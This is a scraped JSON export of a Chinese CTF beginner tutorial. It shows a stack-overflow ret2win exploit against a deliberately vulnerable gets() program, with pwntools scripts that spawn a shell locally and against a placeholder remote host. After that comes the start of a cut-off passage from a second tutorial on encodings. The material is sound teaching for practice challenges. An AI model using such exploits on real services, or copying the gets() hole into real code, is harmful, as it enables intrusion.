pwntools",{"type":8,"value":1382,"toc":2240},[1383,1387,1394,1400,1402,1404,1431,1435,1441,1544,1547,1583,1587,1592,1597,1599,1615,1617,1623,1626,1684,1688,1694,1700,1707,1776,1781,1785,1789,1827,1829,1835,1839,1847,1857,1866,1870,1915,1925,1929,1934,1939,2008,2011,2017,2028,2032,2107,2111,2119,2122,2135,2146,2151,2156,2213,2215,2221,2225,2237],[11,1384,1386],{"id":1385},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[16,1388,1389,1390,1393],{},"C 语言函数 ",[30,1391,1392],{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[16,1395,1396,1397,301],{},"本文只讲一条主线：",[136,1398,1399],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[11,1401,90],{"id":89},[16,1403,93],{},[23,1405,1407],{"className":25,"code":1406,"language":27,"meta":28,"style":28},"apt install gcc gdb\npip3 install pwntools\n",[30,1408,1409,1421],{"__ignoreMap":28},[33,1410,1411,1413,1415,1418],{"class":35,"line":36},[33,1412,103],{"class":39},[33,1414,106],{"class":43},[33,1416,1417],{"class":43}," gcc",[33,1419,1420],{"class":43}," gdb\n",[33,1422,1423,1426,1428],{"class":35,"line":47},[33,1424,1425],{"class":39},"pip3",[33,1427,106],{"class":43},[33,1429,1430],{"class":43}," pwntools\n",[11,1432,1434],{"id":1433},"三漏洞程序与编译","三、漏洞程序与编译",[16,1436,1437,1438,561],{},"保存 ",[30,1439,1440],{},"vuln.c",[23,1442,1444],{"className":816,"code":1443,"language":818,"meta":28,"style":28},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n",[30,1445,1446,1451,1456,1461,1466,1471,1476,1480,1485,1490,1495,1499,1503,1509,1515,1521,1527,1533,1539],{"__ignoreMap":28},[33,1447,1448],{"class":35,"line":36},[33,1449,1450],{},"#include \u003Cstdio.h>\n",[33,1452,1453],{"class":35,"line":47},[33,1454,1455],{},"#include \u003Cstdlib.h>\n",[33,1457,1458],{"class":35,"line":70},[33,1459,1460],{"emptyLinePlaceholder":1373},"\n",[33,1462,1463],{"class":35,"line":80},[33,1464,1465],{},"void win() {\n",[33,1467,1468],{"class":35,"line":452},[33,1469,1470],{},"    system(\"/bin/sh\");\n",[33,1472,1473],{"class":35,"line":458},[33,1474,1475],{},"}\n",[33,1477,1478],{"class":35,"line":464},[33,1479,1460],{"emptyLinePlaceholder":1373},[33,1481,1482],{"class":35,"line":470},[33,1483,1484],{},"void vuln() {\n",[33,1486,1487],{"class":35,"line":476},[33,1488,1489],{},"    char buf[32];\n",[33,1491,1492],{"class":35,"line":482},[33,1493,1494],{},"    gets(buf);\n",[33,1496,1497],{"class":35,"line":1295},[33,1498,1475],{},[33,1500,1501],{"class":35,"line":1301},[33,1502,1460],{"emptyLinePlaceholder":1373},[33,1504,1506],{"class":35,"line":1505},13,[33,1507,1508],{},"int main() {\n",[33,1510,1512],{"class":35,"line":1511},14,[33,1513,1514],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[33,1516,1518],{"class":35,"line":1517},15,[33,1519,1520],{},"    puts(\"Hello, what's your name?\");\n",[33,1522,1524],{"class":35,"line":1523},16,[33,1525,1526],{},"    vuln();\n",[33,1528,1530],{"class":35,"line":1529},17,[33,1531,1532],{},"    puts(\"Bye!\");\n",[33,1534,1536],{"class":35,"line":1535},18,[33,1537,1538],{},"    return 0;\n",[33,1540,1542],{"class":35,"line":1541},19,[33,1543,1475],{},[16,1545,1546],{},"编译（关闭金丝雀和 PIE，方便入门）：",[23,1548,1550],{"className":25,"code":1549,"language":27,"meta":28,"style":28},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[30,1551,1552,1572,1578],{"__ignoreMap":28},[33,1553,1554,1557,1560,1563,1566,1569],{"class":35,"line":36},[33,1555,1556],{"class":39},"gcc",[33,1558,1559],{"class":241}," -o",[33,1561,1562],{"class":43}," vuln",[33,1564,1565],{"class":43}," vuln.c",[33,1567,1568],{"class":241}," -fno-stack-protector",[33,1570,1571],{"class":241}," -no-pie\n",[33,1573,1574],{"class":35,"line":47},[33,1575,1577],{"class":1576},"shSDL","# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[33,1579,1580],{"class":35,"line":70},[33,1581,1582],{"class":1576},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[11,1584,1586],{"id":1585},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[16,1588,1589,1591],{},[136,1590,138],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[16,1593,1594,1596],{},[136,1595,144],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[16,1598,153],{},[23,1600,1602],{"className":25,"code":1601,"language":27,"meta":28,"style":28},"pwn checksec ./vuln\n",[30,1603,1604],{"__ignoreMap":28},[33,1605,1606,1609,1612],{"class":35,"line":36},[33,1607,1608],{"class":39},"pwn",[33,1610,1611],{"class":43}," checksec",[33,1613,1614],{"class":43}," ./vuln\n",[16,1616,169],{},[23,1618,1621],{"className":1619,"code":1620,"language":175,"meta":28},[173],"Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n",[30,1622,1620],{"__ignoreMap":28},[16,1624,1625],{},"只看三行：",[490,1627,1628,1640],{},[493,1629,1630],{},[496,1631,1632,1635,1637],{},[499,1633,1634],{},"行",[499,1636,504],{},[499,1638,1639],{},"对我们意味着什么",[506,1641,1642,1655,1668],{},[496,1643,1644,1649,1652],{},[511,1645,1646],{},[30,1647,1648],{},"Stack: No canary found",[511,1650,1651],{},"没有栈金丝雀",[511,1653,1654],{},"可以直接覆盖返回地址",[496,1656,1657,1662,1665],{},[511,1658,1659],{},[30,1660,1661],{},"NX: NX enabled",[511,1663,1664],{},"栈不可执行",[511,1666,1667],{},"不能放 shellcode（本阶段先不管）",[496,1669,1670,1675,1678],{},[511,1671,1672],{},[30,1673,1674],{},"PIE: No PIE",[511,1676,1677],{},"程序地址固定",[511,1679,1680,1683],{},[30,1681,1682],{},"win"," 的地址可以直接写进 payload",[11,1685,1687],{"id":1686},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[16,1689,1690,1693],{},[30,1691,1692],{},"vuln"," 被调用时栈上自低到高：",[23,1695,1698],{"className":1696,"code":1697,"language":175,"meta":28},[173],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[30,1699,1697],{"__ignoreMap":28},[16,1701,1702,1703,1706],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[30,1704,1705],{},"cyclic"," 验证：",[23,1708,1710],{"className":1238,"code":1709,"language":1240,"meta":28,"style":28},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[30,1711,1712,1717,1721,1726,1731,1736,1741,1746,1751,1756,1761,1766,1771],{"__ignoreMap":28},[33,1713,1714],{"class":35,"line":36},[33,1715,1716],{},"from pwn import *\n",[33,1718,1719],{"class":35,"line":47},[33,1720,1460],{"emptyLinePlaceholder":1373},[33,1722,1723],{"class":35,"line":70},[33,1724,1725],{},"p = process('./vuln')\n",[33,1727,1728],{"class":35,"line":80},[33,1729,1730],{},"p.sendline(cyclic(200))\n",[33,1732,1733],{"class":35,"line":452},[33,1734,1735],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[33,1737,1738],{"class":35,"line":458},[33,1739,1740],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[33,1742,1743],{"class":35,"line":464},[33,1744,1745],{},"p.wait()\n",[33,1747,1748],{"class":35,"line":470},[33,1749,1750],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[33,1752,1753],{"class":35,"line":476},[33,1754,1755],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[33,1757,1758],{"class":35,"line":482},[33,1759,1760],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[33,1762,1763],{"class":35,"line":1295},[33,1764,1765],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[33,1767,1768],{"class":35,"line":1301},[33,1769,1770],{},"print(offset)\n",[33,1772,1773],{"class":35,"line":1505},[33,1774,1775],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[16,1777,169,1778,301],{},[30,1779,1780],{},"40",[11,1782,1784],{"id":1783},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[147,1786,1788],{"id":1787},"api-1elf读符号地址","API 1：ELF——读符号地址",[23,1790,1792],{"className":1238,"code":1791,"language":1240,"meta":28,"style":28},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[30,1793,1794,1798,1802,1807,1812,1817,1822],{"__ignoreMap":28},[33,1795,1796],{"class":35,"line":36},[33,1797,1716],{},[33,1799,1800],{"class":35,"line":47},[33,1801,1460],{"emptyLinePlaceholder":1373},[33,1803,1804],{"class":35,"line":70},[33,1805,1806],{},"elf = ELF('./vuln')\n",[33,1808,1809],{"class":35,"line":80},[33,1810,1811],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[33,1813,1814],{"class":35,"line":452},[33,1815,1816],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[33,1818,1819],{"class":35,"line":458},[33,1820,1821],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[33,1823,1824],{"class":35,"line":464},[33,1825,1826],{},"print(hex(elf.symbols['win']))\n",[16,1828,169],{},[23,1830,1833],{"className":1831,"code":1832,"language":175,"meta":28},[173],"0x401176\n",[30,1834,1832],{"__ignoreMap":28},[147,1836,1838],{"id":1837},"api-2process启动程序","API 2：process——启动程序",[23,1840,1841],{"className":1238,"code":1725,"language":1240,"meta":28,"style":28},[30,1842,1843],{"__ignoreMap":28},[33,1844,1845],{"class":35,"line":36},[33,1846,1725],{},[16,1848,1849,1850,264,1853,1856],{},"启动本地进程，之后用 ",[30,1851,1852],{},"p.sendline()",[30,1854,1855],{},"p.recvuntil()"," 交互。远程题目改成：",[23,1858,1860],{"className":1238,"code":1859,"language":1240,"meta":28,"style":28},"p = remote('1.2.3.4', 10001)\n",[30,1861,1862],{"__ignoreMap":28},[33,1863,1864],{"class":35,"line":36},[33,1865,1859],{},[147,1867,1869],{"id":1868},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[23,1871,1873],{"className":1238,"code":1872,"language":1240,"meta":28,"style":28},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[30,1874,1875,1880,1885,1890,1895,1900,1905,1910],{"__ignoreMap":28},[33,1876,1877],{"class":35,"line":36},[33,1878,1879],{},"payload = b'A' * 40 + p64(0x401176)\n",[33,1881,1882],{"class":35,"line":47},[33,1883,1884],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[33,1886,1887],{"class":35,"line":70},[33,1888,1889],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[33,1891,1892],{"class":35,"line":80},[33,1893,1894],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[33,1896,1897],{"class":35,"line":452},[33,1898,1899],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[33,1901,1902],{"class":35,"line":458},[33,1903,1904],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[33,1906,1907],{"class":35,"line":464},[33,1908,1909],{},"p.sendline(payload)\n",[33,1911,1912],{"class":35,"line":470},[33,1913,1914],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[16,1916,1917,1920,1921,1924],{},[30,1918,1919],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[30,1922,1923],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[11,1926,1928],{"id":1927},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[16,1930,1931,1933],{},[136,1932,138],{},"：把前三步串成完整 exploit。",[16,1935,1936,1938],{},[136,1937,144],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[23,1940,1942],{"className":1238,"code":1941,"language":1240,"meta":28,"style":28},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[30,1943,1944,1948,1952,1956,1960,1964,1969,1974,1979,1984,1988,1993,1998,2003],{"__ignoreMap":28},[33,1945,1946],{"class":35,"line":36},[33,1947,1716],{},[33,1949,1950],{"class":35,"line":47},[33,1951,1460],{"emptyLinePlaceholder":1373},[33,1953,1954],{"class":35,"line":70},[33,1955,1806],{},[33,1957,1958],{"class":35,"line":80},[33,1959,1725],{},[33,1961,1962],{"class":35,"line":452},[33,1963,1460],{"emptyLinePlaceholder":1373},[33,1965,1966],{"class":35,"line":458},[33,1967,1968],{},"p.recvuntil(b'name?')\n",[33,1970,1971],{"class":35,"line":464},[33,1972,1973],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[33,1975,1976],{"class":35,"line":470},[33,1977,1978],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[33,1980,1981],{"class":35,"line":476},[33,1982,1983],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[33,1985,1986],{"class":35,"line":482},[33,1987,1909],{},[33,1989,1990],{"class":35,"line":1295},[33,1991,1992],{},"# 触发溢出：覆盖返回地址为 win。\n",[33,1994,1995],{"class":35,"line":1301},[33,1996,1997],{},"p.interactive()\n",[33,1999,2000],{"class":35,"line":1505},[33,2001,2002],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[33,2004,2005],{"class":35,"line":1511},[33,2006,2007],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[16,2009,2010],{},"预期结果：",[23,2012,2015],{"className":2013,"code":2014,"language":175,"meta":28},[173],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[30,2016,2014],{"__ignoreMap":28},[16,2018,2019,2020,2023,2024,2027],{},"程序跳到了 ",[30,2021,2022],{},"win()","，执行 ",[30,2025,2026],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[11,2029,2031],{"id":2030},"八必学工具","八、必学工具",[490,2033,2034,2046],{},[493,2035,2036],{},[496,2037,2038,2040,2043],{},[499,2039,1047],{},[499,2041,2042],{},"3 个核心功能",[499,2044,2045],{},"示例",[506,2047,2048,2075,2088],{},[496,2049,2050,2053,2072],{},[511,2051,2052],{},"pwntools",[511,2054,2055,2058,2059,1125,2061,2064,2065,2067,2068,2071],{},[30,2056,2057],{},"ELF()"," 读符号、",[30,2060,1705],{},[30,2062,2063],{},"cyclic_find"," 找偏移、",[30,2066,1919],{},"+",[30,2069,2070],{},"sendline"," 构造发送",[511,2073,2074],{},"见上文",[496,2076,2077,2080,2083],{},[511,2078,2079],{},"checksec",[511,2081,2082],{},"查看栈保护、NX、PIE",[511,2084,2085],{},[30,2086,2087],{},"pwn checksec ./vuln",[496,2089,2090,2093,2096],{},[511,2091,2092],{},"GDB（+pwndbg）",[511,2094,2095],{},"断点、看栈、单步",[511,2097,2098,264,2101,264,2104],{},[30,2099,2100],{},"break vuln",[30,2102,2103],{},"x/20gx $rsp",[30,2105,2106],{},"continue",[11,2108,2110],{"id":2109},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[16,2112,1136,2113,2116,2117,301],{},[30,2114,2115],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[30,2118,1692],{},[16,2120,2121],{},"第一步，本地验证：",[23,2123,2125],{"className":25,"code":2124,"language":27,"meta":28,"style":28},"python3 exploit.py\n",[30,2126,2127],{"__ignoreMap":28},[33,2128,2129,2132],{"class":35,"line":36},[33,2130,2131],{"class":39},"python3",[33,2133,2134],{"class":43}," exploit.py\n",[16,2136,2137,2138,2141,2142,2145],{},"第二步，把 ",[30,2139,2140],{},"process('./vuln')"," 改成 ",[30,2143,2144],{},"remote('1.2.3.4', 10001)"," 再跑：",[16,2147,2148,2150],{},[136,2149,138],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[16,2152,2153,2155],{},[136,2154,648],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[23,2157,2159],{"className":1238,"code":2158,"language":1240,"meta":28,"style":28},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[30,2160,2161,2165,2169,2173,2177,2182,2187,2191,2195,2199,2204,2209],{"__ignoreMap":28},[33,2162,2163],{"class":35,"line":36},[33,2164,1716],{},[33,2166,2167],{"class":35,"line":47},[33,2168,1460],{"emptyLinePlaceholder":1373},[33,2170,2171],{"class":35,"line":70},[33,2172,1806],{},[33,2174,2175],{"class":35,"line":80},[33,2176,1859],{},[33,2178,2179],{"class":35,"line":452},[33,2180,2181],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[33,2183,2184],{"class":35,"line":458},[33,2185,2186],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[33,2188,2189],{"class":35,"line":464},[33,2190,1460],{"emptyLinePlaceholder":1373},[33,2192,2193],{"class":35,"line":470},[33,2194,1983],{},[33,2196,2197],{"class":35,"line":476},[33,2198,1909],{},[33,2200,2201],{"class":35,"line":482},[33,2202,2203],{},"p.sendline(b'cat flag')\n",[33,2205,2206],{"class":35,"line":1295},[33,2207,2208],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[33,2210,2211],{"class":35,"line":1301},[33,2212,1997],{},[16,2214,169],{},[23,2216,2219],{"className":2217,"code":2218,"language":175,"meta":28},[173],"flag{ret2win}\n",[30,2220,2218],{"__ignoreMap":28},[11,2222,2224],{"id":2223},"十小结","十、小结",[16,2226,2227,2228,2230,2231,2233,2234,2236],{},"Pwn 入门主线：",[30,2229,2079],{}," 判断能不能直接打 → ",[30,2232,1705],{}," 确定偏移 → ",[30,2235,1919],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1350,2238,2239],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":28,"searchDepth":47,"depth":47,"links":2241},[2242,2243,2244,2245,2246,2247,2248,2249,2250,2251],{"id":1385,"depth":70,"text":1386},{"id":89,"depth":70,"text":90},{"id":1433,"depth":70,"text":1434},{"id":1585,"depth":70,"text":1586},{"id":1686,"depth":70,"text":1687},{"id":1783,"depth":70,"text":1784},{"id":1927,"depth":70,"text":1928},{"id":2030,"depth":70,"text":2031},{"id":2109,"depth":70,"text":2110},{"id":2223,"depth":70,"text":2224},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":1366,"image":2254,"alt":2255,"tags":2256,"published":1373},"/blogs-img/blog2.png","CTF Pwn 入门",[1370,1608,1372],"/blogs/ctf-pwn-overview",{"title":1380,"description":2252},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":2262,"title":2263,"body":2264,"description":3258,"extension":1364,"meta":3259,"navigation":1373,"ogImage":3260,"path":3264,"seo":3265,"stem":3266,"__hash__":3267},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":8,"value":2265,"toc":3248},[2266,2270,2273,2341,2344,2430,2433,2439,2442,2466,2468,2474,2476,2496,2506,2510,2521,2525,2530,2574,2576,2582,2586,2591,2604,2678,2680,2686,2692,2696,2702,2733,2737,2740,2804,2806,2812,2816,2820,2823,2827,2832,2837,2878,2882,3009,3011,3017,3027,3029,3033,3036,3074,3078,3107,3111,3114,3143,3145,3151,3155,3158,3163,3166,3174,3233,3235,3240,3242,3245],[11,2267,2269],{"id":2268},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[16,2271,2272],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[490,2274,2275,2288],{},[493,2276,2277],{},[496,2278,2279,2282,2285],{},[499,2280,2281],{},"编码",[499,2283,2284],{},"现实应用",[499,2286,2287],{},"例子",[506,2289,2290,2307,2326],{},[496,2291,2292,2295,2298],{},[511,2293,2294],{},"Base64",[511,2296,2297],{},"邮件附件（MIME）、JWT 令牌、Data URI",[511,2299,2300,2303,2304],{},[30,2301,2302],{},"ZmxhZw=="," → ",[30,2305,2306],{},"flag",[496,2308,2309,2312,2319],{},[511,2310,2311],{},"Hex",[511,2313,2314,2315,2318],{},"颜色值 ",[30,2316,2317],{},"#FF0000","、MAC 地址、哈希摘要",[511,2320,2321,2303,2324],{},[30,2322,2323],{},"666c6167",[30,2325,2306],{},[496,2327,2328,2331,2334],{},[511,2329,2330],{},"URL 编码",[511,2332,2333],{},"浏览器地址栏中的中文与特殊字符",[511,2335,2336,2303,2339],{},[30,2337,2338],{},"%66%6c%61%67",[30,2340,2306],{},[16,2342,2343],{},"先运行最小的解码例子：",[23,2345,2347],{"className":1238,"code":2346,"language":1240,"meta":28,"style":28},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[30,2348,2349,2354,2359,2363,2368,2373,2378,2382,2387,2392,2397,2401,2406,2411,2416,2420,2425],{"__ignoreMap":28},[33,2350,2351],{"class":35,"line":36},[33,2352,2353],{},"import base64\n",[33,2355,2356],{"class":35,"line":47},[33,2357,2358],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[33,2360,2361],{"class":35,"line":70},[33,2362,1460],{"emptyLinePlaceholder":1373},[33,2364,2365],{"class":35,"line":80},[33,2366,2367],{},"print(base64.b64encode(b\"flag\"))\n",[33,2369,2370],{"class":35,"line":452},[33,2371,2372],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[33,2374,2375],{"class":35,"line":458},[33,2376,2377],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[33,2379,2380],{"class":35,"line":464},[33,2381,1460],{"emptyLinePlaceholder":1373},[33,2383,2384],{"class":35,"line":470},[33,2385,2386],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[33,2388,2389],{"class":35,"line":476},[33,2390,2391],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[33,2393,2394],{"class":35,"line":482},[33,2395,2396],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[33,2398,2399],{"class":35,"line":1295},[33,2400,1460],{"emptyLinePlaceholder":1373},[33,2402,2403],{"class":35,"line":1301},[33,2404,2405],{},"print(bytes.fromhex(\"666c6167\"))\n",[33,2407,2408],{"class":35,"line":1505},[33,2409,2410],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[33,2412,2413],{"class":35,"line":1511},[33,2414,2415],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[33,2417,2418],{"class":35,"line":1517},[33,2419,1460],{"emptyLinePlaceholder":1373},[33,2421,2422],{"class":35,"line":1523},[33,2423,2424],{},"print(b\"flag\".hex())\n",[33,2426,2427],{"class":35,"line":1529},[33,2428,2429],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[16,2431,2432],{},"实际输出：",[23,2434,2437],{"className":2435,"code":2436,"language":175,"meta":28},[173],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[30,2438,2436],{"__ignoreMap":28},[16,2440,2441],{},"URL 编码：",[23,2443,2445],{"className":1238,"code":2444,"language":1240,"meta":28,"style":28},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[30,2446,2447,2452,2456,2461],{"__ignoreMap":28},[33,2448,2449],{"class":35,"line":36},[33,2450,2451],{},"from urllib.parse import quote, unquote\n",[33,2453,2454],{"class":35,"line":47},[33,2455,1460],{"emptyLinePlaceholder":1373},[33,2457,2458],{"class":35,"line":70},[33,2459,2460],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[33,2462,2463],{"class":35,"line":80},[33,2464,2465],{},"print(unquote(\"%66%6c%61%67\"))          # flag\n",[16,2467,2432],{},[23,2469,2472],{"className":2470,"code":2471,"language":175,"meta":28},[173],"%E4%BD%A0%E5%A5%BD\nflag\n",[30,2473,2471],{"__ignoreMap":28},[11,2475,90],{"id":89},[23,2477,2479],{"className":25,"code":2478,"language":27,"meta":28,"style":28},"pip3 install pycryptodome sympy gmpy2\n",[30,2480,2481],{"__ignoreMap":28},[33,2482,2483,2485,2487,2490,2493],{"class":35,"line":36},[33,2484,1425],{"class":39},[33,2486,106],{"class":43},[33,2488,2489],{"class":43}," pycryptodome",[33,2491,2492],{"class":43}," sympy",[33,2494,2495],{"class":43}," gmpy2\n",[16,2497,2498,2499],{},"浏览器打开 CyberChef（",[2500,2501,2505],"a",{"href":2502,"rel":2503},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[2504],"nofollow","https://gchq.github.io/CyberChef）。",[11,2507,2509],{"id":2508},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 